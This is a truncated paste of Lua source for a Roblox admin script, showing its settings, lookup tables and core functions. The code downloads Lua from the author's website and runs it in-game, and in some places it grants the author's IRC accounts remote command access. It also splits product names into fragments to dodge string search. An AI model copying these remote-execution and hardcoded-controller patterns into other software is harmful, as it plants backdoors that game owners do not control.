· 6 years ago · Jan 24, 2020, 09:10 PM
1--[[
2Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
3If you want to know what commands do just go into your game and say ;cmds for a list of
4commands, what they do, examples, rank needed, and more!
5Or, go to http://www.classy-studios.com/V3/Commands.php
6If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
7
8
9TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
10
11--->> DO NOT EDIT THESE SETTINGS <<---
12Well you can but it's a waste of your time. The settings are located in workspace
13in a folder called "MakerModelLua's Settings". You can also use this plugin:
14
15http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
16
17USE REMOTE ADMIN:
18http://www.classy-studios.com/Login/
19Mobile: http://appsto.re/us/hEn7fb.i
20
21
22
23...also... this is open source! No stupid shady module scripts, which means it works in studio!
24
25]]
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
50
51
52local Settings = {
53 Ranks = {
54 ["Owner"] = {"XxAla123xX"};
55 ["Admin"] = {};
56 ["Member"] = {};
57 ["Banned"] = {};
58 ["Crashed"] = {};
59 ["Muted"] = {};
60 };
61
62 Prefix = ";";
63 Bet = " ";
64 MinimumAge = 0;
65 ServerLocked = false;
66 ColorScheme = "White";
67 TransparencyScheme = 50;
68 Fun = true;
69 EnableAdminMenu = true;
70 EnableTaskBar = true;
71 FreeAdmin = false;
72 Font = "Arial";
73
74 DisableAbuse = false;
75 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
76 AbusableGear = {};
77
78 LinkedAccount = "";
79 DataKey = "";
80
81 ExecuteNotificationSound = 0; --177578949
82 EnableSounds = true;
83
84 VIPMemberID = 0;
85 VIPAdminID = 0;
86
87 GroupID = 0;
88 GroupBanRank = 0;
89 GroupMemberRank = 0;
90 GroupAdminRank = 0;
91 GroupOwnerRank = 0;
92 GroupRankBan = 0;
93 BannedGroupIDs = {};
94
95 IRCServer = "";
96 IRCChannel = "";
97 IRCCommandExecuters = {};
98
99 TrelloToken = ""
100}
101
102local Colors = {
103 ["WHITE"] = Color3.new(1,1,1);
104 ["BLACK"] = Color3.new(0,0,0);
105 ["GRAY"] = Color3.new(0.5,0.5,0.5);
106 ["RED"] = Color3.new(1,0,0);
107 ["GREEN"] = Color3.new(0,1,0);
108 ["BLUE"] = Color3.new(0,0,1);
109 ["YELLOW"] = Color3.new(1,1,0);
110 ["PINK"] = Color3.new(1,0,1);
111 ["MAGENTA"] = Color3.new(1,0,1);
112 ["CYAN"] = BrickColor.new("Cyan").Color;
113 ["TEAL"] = BrickColor.new("Teal").Color;
114 ["BROWN"] = Color3.new(0.55,0.25,0.075);
115 ["PURPLE"] = Color3.new(0.5,0,0.5);
116 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
117}
118
119local Server = {
120 Workspace = game:GetService("Workspace");
121 Players = game:GetService("Players");
122 Lighting = game:GetService("Lighting");
123 MPS = game:GetService("MarketplaceService");
124 TS = game:GetService("TeleportService");
125 HS = game:GetService("HttpService");
126 RS = game:GetService("RunService");
127 PS = game:GetService("PointsService");
128 TestS = game:GetService("TestService");
129 IS = game:GetService("InsertService");
130 Teams = game:GetService("Teams");
131 Data = game:GetService("DataStoreService");
132 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
133 Storage = game:GetService("ServerStorage");
134 RS = game:GetService("ReplicatedStorage");
135 AS = game:GetService("AssetService");
136}
137
138local Icons = {
139 ["Message"] = 7724351;
140 ["Error"] = 94011556;
141 ["Information"] = 144175130;
142 ["Check"] = 132769976;
143 ["Search"] = 61994930;
144 ["Time"] = 136391033;
145 ["Notice"] = 156507320;
146 ["Sound"] = 164682936;
147 ["Log"] = 70650545;
148 ["Question"] = 41363872;
149 ["Output"] = 11481605;
150 ["Admin"] = 302470270;
151 ["Lock"] = 11341626;
152 ["Settings"] = 131064748;
153 ["Map"] = 257119661;
154 ["Plugin"] = 257097414;
155}
156
157local IRC = {
158 Codes = {
159 ["001"] = "RPL_WELCOME",
160 ["002"] = "RPL_YOURHOST",
161 ["003"] = "RPL_CREATED",
162 ["004"] = "RPL_MYINFO",
163 ["005"] = "RPL_ISUPPORT",
164 ["250"] = "RPL_STATSCONN",
165 ["251"] = "RPL_LUSERCLIENT",
166 ["252"] = "RPL_LUSEROP",
167 ["254"] = "RPL_LUSERCHANNELS",
168 ["255"] = "RPL_LUSERME",
169 ["265"] = "RPL_LOCALUSERS",
170 ["266"] = "RPL_GLOBALUSERS",
171 ["352"] = "RPL_WHOREPLY",
172 ["371"] = "RPL_INFO",
173 ["372"] = "RPL_MOTD",
174 ["374"] = "RPL_ENDINFO",
175 ["375"] = "RPL_MOTDSTART",
176 ["376"] = "RPL_ENDOFMOTD",
177 ["422"] = "ERR_NOMOTD",
178 },
179 Ignore = {
180 ["004"] = true,
181 ["005"] = true,
182 };
183 Users = {};
184 Logs = {};
185 Chats = {};
186 Forms = {};
187 MessageAdded = Instance.new("BindableEvent");
188
189 Servers = {
190 ["esper.net"] = {
191 BaseUrl = "http://webchat.esper.net/";
192 DynamicUrl = "";
193 };
194 ["quakenet.org"] = {
195 BaseUrl = "http://webchat.quakenet.org/";
196 DynamicUrl = "dynamic/leibniz",
197 };
198 ["swiftirc.net"] = {
199 BaseUrl = "http://qwebirc.swiftirc.net/";
200 DynamicUrl = "",
201 };
202 };
203 NickName = "rbxMMLV3_"..math.random(1,100000);
204
205 SessionCounter = 0;
206 Connected = false;
207 Stop = false;
208 SessionID = "";
209}
210
211local RankHUD = {
212 ["Muted"] = 202180094;
213 ["Non-Admin"] = 202180121;
214 ["Member"] = 202180052;
215 ["Admin"] = 202180015;
216 ["Owner"] = 202179988;
217}
218
219local TextConverter = {
220 LetterSounds = {
221 ["a"] = {223757826, nil}; -- 203343899
222 ["b"] = {223533700, 0.2}; -- 203344029
223 ["c"] = {223533711, nil}; -- 203343994
224 ["d"] = {223757910, nil}; -- 203398237
225 ["e"] = {223758026, nil}; -- 203398295
226 ["f"] = {223777655, nil}; -- 203398347
227 ["g"] = {223777738, nil}; -- 203398372
228 ["h"] = {223777757, nil}; -- 203398397
229 ["i"] = {223777807, nil}; -- 203398422
230 ["j"] = {223782888, nil}; -- 203398450
231 ["k"] = {223533711, nil}; -- 203343994
232 ["l"] = {223782961, 0.4}; -- 203398541
233 ["m"] = {223782992, nil}; -- 203398578
234 ["n"] = {223783063, nil}; -- 203398599
235 ["o"] = {223783184, nil}; -- 203398611
236 ["p"] = {223783235, nil}; -- 203398727
237 ["q"] = {223783260, nil}; -- 203398755
238 ["r"] = {223783305, 0.2}; -- 203398792
239 ["s"] = {223783377, nil}; -- 203398806
240 ["t"] = {223783446, nil}; -- 203398850
241 ["u"] = {223783512, nil}; -- 203398872
242 ["v"] = {223783654, nil}; -- 203398965
243 ["w"] = {223783697, nil}; -- 203398984
244 ["x"] = {223783796, nil}; -- 203399008
245 ["y"] = {223783853, nil}; -- 203399043
246 ["z"] = {223783893, nil}; -- 203399096
247
248 ["ch"] = {223784367, 0.3}; -- 203592149
249 ["th"] = {223788235, 0.3}; -- 203399215
250 ["sh"] = {223784505, 0.2}; -- 203399566
251 ["wh"] = {223784555, 0.3}; -- 203622828
252 ["oo"] = {223784456, 0.3}; -- 203399743
253 ["ing"] = {223784393, 0.3}; -- 203402836
254 };
255
256 LongVowels = {
257 ["a"] = {223533687, nil}; -- 203343932
258 ["e"] = {223777620, nil}; -- 203398314
259 ["i"] = {223777855, nil}; -- 203398440
260 ["o"] = {223783212, nil}; -- 203398619
261 ["u"] = {223783572, nil}; -- 203398897
262 };
263
264 Pronounce = {
265 ["0"] = "zero";
266 ["1"] = "wun";
267 ["2"] = "too";
268 ["3"] = "three";
269 ["4"] = "four";
270 ["5"] = "five";
271 ["6"] = "six";
272 ["7"] = "seven";
273 ["8"] = "eyt";
274 ["9"] = "nine";
275 ["one"] = "wun";
276 ["two"] = "too";
277 ["eight"] = "eyt";
278 ["eigh"] = "ey";
279 ["gh"] = "h";
280 ["kn"] = "n";
281 ["come"] = "cu".."m";
282 ["bye"] = "bi";
283 ["#"] = "hashtag";
284 ["@"] = "at";
285 ["&"] = "and";
286 ["*"] = "astrict";
287 ["mn"] = "m";
288 ["kn"] = "n";
289 ["ies"] = "ees";
290 };
291
292 NonEnglishRules = {
293 ["to"] = "too";
294 ["you"] = "yoo";
295 ["we"] = "wee";
296 ["are"] = "erh";
297 ["your"] = "yoor";
298 ["you're"] = "yoor";
299 ["youre"] = "yoor";
300 ["pizza"] = "peetzoh";
301 ["ok"] = "okay";
302 ["have"] = "hav";
303 ["my"] = "mi";
304 ["me"] = "mee";
305 ["u"] = "yoo";
306 ["r"] = "erh";
307 ["move"] = "moov";
308 ["dove"] = "duv";
309 ["debris"] = "debree";
310 ["do"] = "doo";
311 }
312}
313
314local HTMLDecode = {
315 ["35"] = "#";
316 ["36"] = "$";
317 ["37"] = "%%";
318 ["38"] = "*";
319 ["39"] = "'";
320 ["58"] = ":";
321 ["59"] = ";";
322 ["60"] = "<";
323 ["62"] = ">";
324}
325
326
327local Assets = {
328 Packages = {
329 [27112438] = {27112025,27112039,27112052,27112056,27112068};
330 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
331 [77518833] = {77518564,77518616,77518654,77518696,77518737};
332 [32336368] = {32336059,32336117,32336182,32336243,32336306};
333 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
334 [54116460] = {54116290,54116338,54116373,54116394,54116432};
335 [39977366] = {39976703,39976829,39976927,39977192,39977295};
336 [32357766] = {32357663,32357631,32357619,32357584,32357558};
337 [27123973] = {27121265,27121306,27121353,27121393,27121432};
338 [55717536] = {55717271,55717330,55717388,55717434,55717491};
339 [28279963] = {28279160,28279217,28279859,28279894,28279938};
340 [27403592] = {27402580,27402546,27402641,27402714,27402742};
341 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
342 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
343 [48474394] = {48474356,48474294};
344 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
345 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
346 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
347 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
348 [33378577] = {33378366,33378438,33378484,33378522,33378540};
349 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
350 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
351 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
352 [41851073] = {41850825,41850868,41850915,41851009,41850959}
353 };
354 AssetTypes = {
355 [0] = "Product";
356 [1] = "Image";
357 [2] = "T-Shirt";
358 [3] = "Audio";
359 [4] = "Mesh";
360 [5] = "Lua";
361 [6] = "HTML";
362 [7] = "Text";
363 [8] = "Hat";
364 [9] = "Place";
365 [10] = "Model";
366 [11] = "Shirt";
367 [12] = "Pants";
368 [13] = "Decal";
369 [16] = "Avatar";
370 [17] = "Head";
371 [18] = "Face";
372 [19] = "Gear";
373 [21] = "Badge";
374 [22] = "Group Emblem";
375 [24] = "Animation";
376 [25] = "Arms";
377 [26] = "Legs";
378 [27] = "Torso";
379 [28] = "Right Arm";
380 [29] = "Left Arm";
381 [30] = "Left Leg";
382 [31] = "Right Leg";
383 [32] = "Package";
384 [33] = "YouTube Video";
385 [34] = "Game Pass";
386 [38] = "Plugin";
387 [39] = "SolidModel";
388 [40] = "MeshPart";
389 [41] = "Hair Accessory";
390 [42] = "Face Accessory";
391 [43] = "Neck Accessory";
392 [44] = "Shoulder Accessory";
393 [45] = "Front Accessory";
394 [46] = "Back Accessory";
395 };
396 AccessoryTypes = {
397 ["all"] = 19;
398 ["hats"] = 9;
399 ["hair"] = 20;
400 ["face"] = 21;
401 ["neck"] = 22;
402 ["shoulder"] = 23;
403 ["front"] = 24;
404 ["back"] = 25;
405 ["waist"] = 26;
406 };
407}
408
409local CharacterCache = {
410 {"MakerModelLua", 38837082};
411 {"LuaModelMaker", 20920633};
412 {"builderman", 156};
413 {"Shedletsky", 261};
414 {"Telamon", 13645};
415 {"ROBLOX", 1};
416}
417
418local FaceCovert = {
419 Left = "xpos";
420 Right = "xneg";
421 Front = "zpos";
422 Back = "zneg";
423 Top = "ypos";
424 Bottom = "yneg";
425}
426
427local Meshes = {
428 ["crown"] = {1, 1078075};
429 ["king"] = {1, 11419761};
430 ["teapot"] = {0.03, 1029523};
431 ["apple"] = {2.5, 16190555};
432 ["potato"] = {1, 25268275};
433 ["panda"] = {0.5, 20709221};
434 ["dominus"] = {0.5, 21057410};
435 ["fedora"] = {0.75, 13640868};
436 ["noob"] = {1, 20929341};
437 ["knife"] = {0.3, 121944778};
438 ["book"] = {0.3, 1136139};
439}
440
441local NotifySounds = {
442 ["Hover"] = 223134269;
443 ["Select"] = 292141227;
444}
445
446local Trello = {
447 TrelloInfoCard = "x1rUtwEj";
448 MainBoard = {};
449 RequiredLists = {};
450 RankChecklistCache = {};
451 ToggleChecklist = nil;
452 CommandID = nil;
453 LastCommandDT = 0;
454 AdminBoardID = "577ea1b21cb7975666524f26";
455 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
456 RemoteDataCard = "dLtMo1en"
457}
458
459local ScriptBuilders = {
460 [260897989] = "MML's";
461 [21053279] = "Anti's pub";
462 [21053219] = "Anti's pri";
463 [20279777] = "Void's 1";
464 [437965235] = "Void's 2";
465 [227015991] = "Vox's";
466 [210101277] = "Master's";
467 [531937877] = "Bleu pigs";
468 [519251450] = "Game's";
469}
470
471-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
472-- Why else would I NOT have put it in a module?!?!?
473
474local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
475
476local SoundList,GlobalSoundList = {},{}
477local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
478local TempChatLogs = {}
479local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
480local NoSpeak = false
481
482local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
483local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
484
485local ChatLogs,CommandLogs = {},{}
486local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
487local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
488local Dispose,Jails,PermCommandBars = {},{},{}
489local Waypoints = {["Center"] = Vector3.new(0,0,0)}
490local Objects = {}
491local Sound = nil
492local ModLighting = false
493local DataReady = true
494local RemoteAbuseGear = {}
495
496local GameOwner = "[ Client ]"
497local PlaceName = "Unknown"
498local PlaceInfo = {}
499local IsStudio = false
500local IsSB = false
501local Date = nil
502local Fonts = {}
503local PendingRequests = {}
504local F3X = script:FindFirstChild("F3X Tools")
505local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
506local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
507local KeyBinds = {}
508local Crowns = {}
509local LastKeys = {}
510local Cars = {}
511local StringReplacements = {}
512local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
513local NoBet = {"/", "-", "(", ")", ""}
514local ShouldFilter = true
515
516local CrownStorage = script:FindFirstChild("CrownStorage")
517if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
518
519-- import old settings just in case --
520if OldSettings then
521 OldSettings = require(OldSettings)
522
523 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
524 Settings[ValName] = OldSettings[ValName]
525 end
526 Settings.GroupBanRank = OldSettings.RankBan
527 Settings.Fun = OldSettings.FUN
528end
529
530if F3X then
531 F3X = F3X:Clone()
532 F3X.Handle.Anchored = false
533 script:FindFirstChild("F3X Tools"):Destroy()
534end
535
536wait(0.1)
537
538local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
539-- tries to defualt to server storage, just in case an exploiter makes their own settings.
540
541if SettingsValues then
542 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
543 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
544 for _,Value in pairs(SettingsValues:GetChildren()) do
545 if Settings[Value.Name] ~= nil then
546 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
547 for _,NewValue in pairs(Value:GetChildren()) do
548 if ypcall(function() return NewValue.Value end) then
549 if Settings[Value.Name][NewValue.Name] then
550 local Val = NewValue.Value
551 if type(Settings[Value.Name][NewValue.Name]) == "table" then
552 Val = {}
553 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
554 table.insert(Val, Word)
555 end
556 end
557 Settings[Value.Name][NewValue.Name] = Val
558 end
559 end
560 end
561 else
562 if Settings[Value.Name] ~= nil then
563 local Val = Value.Value
564 if type(Settings[Value.Name]) == "table" then
565 Val = {}
566 for Word in string.gmatch(Value.Value, "%w+") do
567 table.insert(Val, Word)
568 end
569 end
570 Settings[Value.Name] = Val
571 end
572 end
573 end
574 end
575 end
576end
577
578if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
579 Settings.LinkedAccount = ""
580elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
581 Settings.LinkedAccount = "Admin"
582end
583
584local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
585local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
586
587wait(1)
588
589local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
590
591if Server.Players.LocalPlayer then print("MML Admin Loading") IsStudio = true end
592
593if not IsStudio then
594 Server.NS = game:GetService("NetworkServer")
595 script.Name = "Maker".."Mo".."delLua's Admin"
596end
597
598if game.PlaceId > 0 then
599 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
600 PlaceName = PlaceInfo.Name
601end
602
603local function GetGameOwner()
604 if PlaceInfo.Creator.CreatorType == "Group" then
605 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
606 print("MML's Admin: Found group owner for game: "..GameOwner)
607 elseif PlaceInfo.Creator.CreatorType == "User" then
608 GameOwner = PlaceInfo.Creator.Name
609 print("MML's Admin: Found game owner: "..GameOwner)
610 else
611 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
612 end
613end
614
615if string.byte(string.sub(PlaceName,1,1)) == 226 then
616 PlaceName = string.sub(PlaceName,4,#PlaceName)
617end
618for i = 1,5 do
619 if GameOwner == "[ Client ]" then
620 print("MML's Admin: Attempting to establish owner's name #"..i)
621 GetGameOwner()
622 wait(1)
623 end
624end
625
626if ScriptBuilders[PlaceID] or NLS then
627 IsSB = true
628end
629
630if IsSB then
631 ShouldFilter = false
632 Settings.IRCServer = "swiftirc.net";
633 Settings.IRCChannel = "#PkamaraSB";
634 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
635 if Settings.TrelloToken == "" then
636 Settings.LinkedAccount = "ScriptBuilder"
637 end
638 if Settings.DataKey == "" then coroutine.wrap(function()
639 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
640 local Key = Server.Storage:FindFirstChild("MML DataKey")
641 print("Found key: "..Key.Value)
642 Settings.DataKey = Key.Value
643 Key:Destroy()
644 end)() end
645end
646local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
647table.insert(Settings.Ranks["Owner"], GameOwner)
648
649for _,Font in pairs(Enum.Font:GetEnumItems()) do
650 Fonts[Font.Name] = Font
651end
652
653local LogClient = script:FindFirstChild("AddClientInfo")
654if LogClient then LogClient:Destroy() end
655LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
656
657
658local function MakeFunction(Type, Name)
659 local Func = script:FindFirstChild(Name)
660 if Func then Func:Destroy() end
661 Func = Instance.new(Type, script) Func.Name = Name
662
663 getfenv()[Name] = Func
664 return Func
665end
666
667MakeFunction("BindableFunction", "ExecuteCommand")
668MakeFunction("RemoteFunction", "ExecuteCommandClient")
669MakeFunction("BindableFunction", "ExecuteCode")
670
671MakeFunction("RemoteFunction", "IsAdmin")
672MakeFunction("RemoteFunction", "AddExploit")
673MakeFunction("BindableFunction", "AddExploitServer")
674MakeFunction("RemoteFunction", "KickClient")
675MakeFunction("RemoteFunction", "ConvertTextToSound")
676
677MakeFunction("RemoteFunction", "KeyPressed")
678MakeFunction("RemoteFunction", "InputKey")
679
680MakeFunction("RemoteFunction", "RankPlayerLocal")
681MakeFunction("BindableFunction", "RankPlayerServer")
682
683--[[
684if NLS then
685 local Value = script:FindFirstChild("Override")
686 LogClient.Parent = game
687 if not Value then
688 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
689 local CloneScript = script:Clone()
690 CloneScript.Disabled = true
691 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
692 CloneScript.Disabled = false
693 CloneScript.Parent = nil
694
695 script:Destroy() script.Disabled = true
696 end
697end
698]]
699
700if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
701
702IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
703
704-- Core functions --
705
706function CORE:FixSettings()
707 for _,Bet in pairs(NoBet) do
708 if Settings.Bet == Bet then
709 Settings.Bet = " "
710 break
711 end
712 end
713 CORE:ChangeBet(Settings.Bet)
714
715 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
716 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
717
718 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
719 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
720 Settings.TransparencyScheme = Settings.TransparencyScheme/100
721
722 if not Fonts[Settings.Font] then
723 Settings.Font = "Arial"
724 end
725end
726
727function CORE:NilPlayer(Player)
728 if Player == nil or type(Player) == "table" then return true else return false end
729end
730
731function CORE:ExecuteResource(ResourceName, Parent, Data)
732 local ReturnScript = nil
733 local Executed = true
734 if script:FindFirstChild("Resources") then
735 local RawResource = script.Resources:FindFirstChild(ResourceName)
736 if RawResource then
737 local Resource = RawResource:Clone()
738 Resource.Disabled = true
739 Resource.Parent = Parent
740 if Data then
741 for Key,Value in pairs(Data) do
742 if Resource[Key] then
743 Resource[Key].Value = Value
744 end
745 end
746 end
747 wait()
748 Resource.Disabled = false
749 ReturnScript = Resource
750 else
751 Executed = false
752 end
753 else
754 Executed = false
755 end
756 if Executed == false then
757 if not Data then Data = {} end
758 local Source = ScriptCache[ResourceName]
759
760 if not Source then
761 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
762 if Source then
763 ScriptCache[ResourceName] = Source
764 end
765 end
766
767 if Data and Source then
768 for Key,Value in pairs(Data) do
769 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
770 end
771 end
772
773 if Source then
774 if NLS then
775 ReturnScript = NLS(Source, Parent)
776 elseif createLocalScriptWithSource then
777 ReturnScript = createLocalScriptWithSource(Source)
778 ReturnScript.Parent = Parent
779 end
780 end
781 end
782 return ReturnScript
783end
784
785function CORE:CreateRemotePropertyReader(Obj, Override)
786 if Server.Workspace.FilteringEnabled == true or Override then
787 local Reader = Instance.new("RemoteFunction", Obj)
788 Reader.Name = "RemotePropertyReader"
789 CORE:ExecuteResource("RemotePropertyReader", Reader)
790 return Reader
791 else
792 return Obj
793 end
794end
795
796function CORE:ReadProperty(Reader, Player, Property)
797 if Reader:IsA("RemoteFunction") then
798 return Reader:InvokeClient(Player, Property)
799 else
800 return Reader[Property]
801 end
802end
803
804function CORE:WriteProperty(Reader, Player, Property, Value)
805 if Reader:IsA("RemoteFunction") then
806 return Reader:InvokeClient(Player, Property, Value)
807 else
808 return Reader[Property]
809 end
810end
811
812
813function CORE:CreateRemoteEvent(Obj, EventName)
814 local Event = Instance.new("RemoteEvent", Obj)
815 Event.Name = "RemoteEvent_"..EventName
816 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
817 return Event
818end
819
820function CORE:HandleEvent(Obj, EventName, Func, NewThread)
821 local function Handle()
822 if Server.Workspace.FilteringEnabled == true then
823 local Event = CORE:CreateRemoteEvent(Obj, EventName)
824
825 else
826 return Obj[EventName]:connect(Func)
827 end
828 end
829 if NewThread then
830 Spawn(Handle)
831 else
832 Handle()
833 end
834end
835
836function CORE:HandleError(Error, Speaker)
837 local Return = ""
838 if not Error or Error == "" then
839 Return = "Unknown Error"
840 else
841 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
842 end
843 if Speaker then
844 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
845 end
846 return Return
847end
848
849local function ExecuteSafe(Source, Speaker) -- no CORE
850 local Script, Error = loadstring(Source)
851 if Error then
852 return false, CORE:HandleError(Error, Speaker)
853 else
854 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
855 getfenv(Script).Server, getfenv(Script).script = Server,script
856 if Speaker then
857 getfenv(Script).print = function(...)
858 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
859 end
860 getfenv(Script).print_array = function(List)
861 if type(List) == "table" then
862 GUI:ListGui(Speaker, "Listed Table", List, "Output")
863 end
864 end
865 end
866
867 local Suc, Error = ypcall(coroutine.wrap(Script))
868
869 if not Suc then
870 Error = CORE:HandleError(Error, Speaker)
871 end
872
873 return Suc,Error
874 end
875end
876
877function CORE:GetTime(Regular, FullDate)
878 if Regular == nil then Regular = true end
879 local Meridiem = ""
880 if Regular == true then Meridiem = " AM" end
881 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
882 local Hour = math.floor(SecondsOfToday / (60*60))
883 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
884 local Second = math.floor(math.fmod(SecondsOfToday, 60))
885 if Hour > 12 and Regular == true then
886 Hour = Hour - 12
887 Meridiem = " PM"
888 end
889 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
890 if #Hour <= 1 then Hour = "0"..Hour end
891 if #Minute <= 1 then Minute = "0"..Minute end
892 if #Second <= 1 then Second = "0"..Second end
893 local Return = Hour..":"..Minute..":"..Second..Meridiem
894 if FullDate == true and Date then Return = Date.." "..Return end
895 return Return
896end
897
898function CORE:RemoveAdmin(Speaker)
899 local Answer = true -- false
900 if not CORE:NilPlayer(Speaker) then
901 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
902 end
903 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
904 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
905 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
906 for _,Item in pairs(Player:GetChildren()) do
907 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
908 Item:Destroy()
909 end
910 end
911 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
912 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
913 GUI:Destroy()
914 end
915 end
916 end end
917 for _,Car in pairs(Cars) do
918 Car:Destroy()
919 end
920 CORE:FixLighting()
921 while wait() do
922 if script:FindFirstChild("Override") then script.Override.Value = true end
923 Settings,CORE,IRC = nil,{},{}
924 if Sound then Sound:Stop() end
925 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
926 script:ClearAllChildren() script:Destroy() script.Disabled = true
927 end
928 end
929end
930
931function CORE:MakeBase()
932 for _,Get in pairs(Workspace:GetChildren()) do
933 if Get.Name == "Base" or Get.Name == "BasePlate" then
934 Get:Destroy()
935 end
936 end
937 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
938end
939
940function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
